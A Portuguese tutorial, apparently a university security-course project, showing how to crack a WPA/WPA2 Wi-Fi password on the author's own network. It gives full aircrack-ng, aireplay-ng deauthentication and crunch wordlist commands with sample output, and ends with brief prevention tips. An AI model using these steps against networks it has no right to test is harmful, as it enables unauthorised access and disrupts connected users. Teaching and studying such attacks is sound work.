Este tutorial tem o propósito de ilustrar, de maneira simplificada, de como ter o acesso de uma rede Wifi protegida com os métodos de criptográfia WPA/WPA2. Este tutorial foi desenvolvido como trabalho final para a mateŕia de Segurança e Auditoria de Sistemas, na Universidade Tecnológica Federal do Paraná (UTFPR-CP). Em um breve resumo, faremos um ataque de força bruta em cima de uma captura de pacotes, obtidos monitorando o tráfego da rede. Esse ataque é realizado com uma lista de possíveis senhas daquela rede Wifi.
ATENÇÃO: Este tutorial foi realizado para fins educacionais, e não deveser utilizada para atividades ilegais. O autor não é responsabilizado pelo uso indevido do mesmo
Neste tutorial será necessário que você:
- Esteja usando uma distro linux baseada no debian, de preferência o Kali linux.
- Ter o Aircrack-ng e o Crunch instalado em seu computador. Para instalar, use o seguintes comandos:
Para instalar o Aircrack-ng
Para instalar o Crunch
sudo apt-get install aircrack-ng
sudo apt-get install crunch
- Ter uma placa de rede sem fio que suporta o modo monitor. Aqui uma lista das placas de redes sem fio que suportam o modo monitor (Normalmente os todos notebooks suportam o modo monitor.)
As placas de rede permitem alguns modos diferentes de operação. que são eles: Master (Atua como access point), Managed (cliente padrão), Ad hoc, Mesh, Repeater, Promiscuous, e o Monitor mode. Utilizaremos nossa placa de rede no modo monitor, em que ela permite que seu computador monitore todo o tráfego recebido da rede sem fio. Ao contrário do modo promíscuo, o modo monitor consegue capturar os pacotes sem estar associado a um access point. Primero passo, precisamos listar as interfaces de rede de seu computador, para isso digite o seguinte comando:
sudo airmon-ng
Com isso, aparecerá algo parecido com isto em seu terminal:
Interface Chipset Driver
wlan0 Atheros AR9485 ath9k - [phy0]
Caso não liste nada, sua placa de rede não suporta o modo monitor.
No meu caso, o nome da minha interface wireless é wlan0
. No seu caso pode ser diferente, mas para o termino deste tutorial iremos utilizar a wlan0
. Para iniciarmos o modo monitor basta digitar no terminal o seguinte comando:
sudo airmon-ng start wlan0
Neste momento, poderá dar um erro avisando que alguns processos que estão rodando poderão causar problemas. Para isso, você precisará usar o seguinte comando:
sudo airmon-ng check kill
Para confirmar se temos o modo monitor iniciado, é só utilizar o seguinte comando no terminal:
iwconfig
Se tudo estiver ocorrendo como planejado, aparecerá isto em seu terminal:
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
lo no wireless extensions.
enp2s0 no wireless extensions.
mon0 IEEE 802.11 Mode:Monitor Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
Para iniciarmos a escuta da rede, utilizaremos o seguinte comando abaixo:
sudo airodump-ng mon0
Se tudo estiver ocorrendo como planejado, aparecerá isto em seu terminal:
CH 4 ][ Elapsed: 8 s ][ 2017-11-19 00:09
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
EC:4D:47:B3:F5:88 -65 90 3579 346 1 54e WPA2 CCMP PSK MinhaCasa
A0:F3:C1:BC:9E:2B -85 67 0 0 1 54e. WPA2 CCMP PSK Sadi Isper
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 8C:FA:BA:E4:A3:69 -80 0 - 1 0 2
(not associated) C0:21:0D:DD:30:DF -89 0 - 1 0 1
EC:4D:47:B3:F5:88 24:F5:AA:66:5A:54 -1 0e- 0 0 1878
EC:4D:47:B3:F5:88 F8:E0:79:C2:DE:17 -40 0 - 1 0 1
EC:4D:47:B3:F5:88 1C:87:2C:93:1C:AC -53 0e- 0 1101 1716
EC:4D:47:B3:F5:88 14:1A:A3:FC:E7:E9 -78 0 - 6 0 1
Como este tutorial foi feito para fins educacionais, a rede que iremos atacar é a que tem ESSID (nome da rede Wifi) é a "MinhaCasa", por motivos de eu ser o dono da rede. Para o próximo passo, precisaremos de duas informações desta etapa, o BSSID (Endereço MAC da rede) e o canal em que está sendo utilizado. No nosso caso, as informações serão as seguinte:
- BSSID:
EC:4D:47:B3:F5:88
- CH (canal):
1
As redes que utiizam criptográfia WPA/WPA2 utilizam o "4-way handshake". O que precisamos saber neste momento é que para a conexão entre access point e cliente,é necessário uma série de quatro pacotes é usada para negociar uma chave criptográfica, que será utilizada para criptografar o processo de autenticação. Coletando estes pacotes, podemos conseguir a senha da rede Wifi. Para começar a captura dos pacotes, utilizaremos os seguintes comandos:
## -c: Canal em que se encontra a rede
## --bssid: Endereço MAC do access point
## -w: Diretório que ficará salvo a captura dos pacotes
sudo airodump-ng -c 1 --bssid EC:4D:47:B3:F5:88 -w . mon0
Para que a conexão entre cliente e access point seja desconectada, nos passaremos pelo access point e enviaremos frames (unidade de dados na camada de enlace) para os clientes. Os principais tipos de frames são os Data Frames(para transmissão de dados), Control Frames(controle de acesso do meio) e os Management frames(possuem informações de gerenciamento). Dentro dos Management frames, existe um frame que tem o nome de Deauthentication, que serve para desconectar de forma segura os dispositivos na rede. Como as informações estão sendo capturadas no passo anterior, iremos desautenticar o dispositivo da rede (faremos este passo em outro terminal), utilizando este frame. Isto só ocorre pois os frames criptografados são somente o do tipo Data frames. Utilizaremos o seguinte comando para que isso aconteça:
## -0 2 : enviará dois pacotes "deauth". (Isso irá desconectar o cliente da rede wifi por alguns instantes)
## -a: Endereço MAC do access point
## -c: O Endereço MAC do dispositivo em específico, que será utilizado para obter o "Handshake".
## Caso queira mandar para todos os dispositivos da rede, é só não utilizar o argumento -c, como no exemplo abaixo:
sudo aireplay-ng -0 2 -a EC:4D:47:B3:F5:88 mon0
Caso conseguirmos os pacotes do Handshake, irá aparecer no primeiro terminal algo parecido comWPA handshake: 00:00:00:00:00
.Portanto, podemos parar de capturar os pacotes, apertando Ctrl+C
. Os pacotes ficaram salvos como nome de .-01.cap
(o arquivo ficará oculto). Neste tutorial, iremos trocar o nome para 'mypackages.cap'.
Na criação de uma wordlist, é interessante que se conheça o alvo atacado, criando assim uma wordlist específica para aquele alvo. Para este tutorial, criaremos uma wordlist que conterá somente números,tendo no total de 8 caracteres de tamanho. Para criar a wordlist utilizaremos o crunch. O primeiro argumento será o número mínimo de caracteres que queremos nossa senha. O segundo argumento será o número máximo de caracteres que queremos nossa senha. O terceiro argumento será os caracteres que queremos combinar na nossa senha. Sabemos que o número mínimo de caracteres em uma senha WPA2 é de 8 caracteres, portanto criaremos uma wordlist que cobrirá todos os números de 8 caracteres (00000000 até 99999999). Para isso o usaremos o seguinte comando no terminal:
## -o: nome do arquivo de saída
crunch 8 8 0123456789 -o mywordlist.txt
Para wordlist mais elaboradas, digite no terminal man crunch
.
Como no passo anterior já criamos uma wordlist para o ataque, utilizaremos o seguinte comando no terminal
## -a2: Especificando que a rede é WPA2
## -b: Endereço MAC do access point
## -w: A wordlist criada
aircrack-ng -a2 -b EC:4D:47:B3:F5:88 -w mywordlist.txt mypackages.cap
Neste momento, começará o ataque por força bruta nos pacotes capturados. Quando a senha na wordlist for a senha desejada, irá aparecer no terminal algo parecido com isso, informando a senha da rede Wifi:
Aircrack-ng 1.2 beta3
[00:00:12] 1414 keys tested (1017.96 k/s)
KEY FOUND! [ 00001414 ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Para voltar sua placa de rede para o modo managed (cliente), basta seguir o comando no terminal:
service network-manager restart
Existem duas formas de prevenção deste tipo de ataque, que são elas:
- Colocar uma senha forte o suficiente.
- Implementar segurança nos frames de tipo "Management".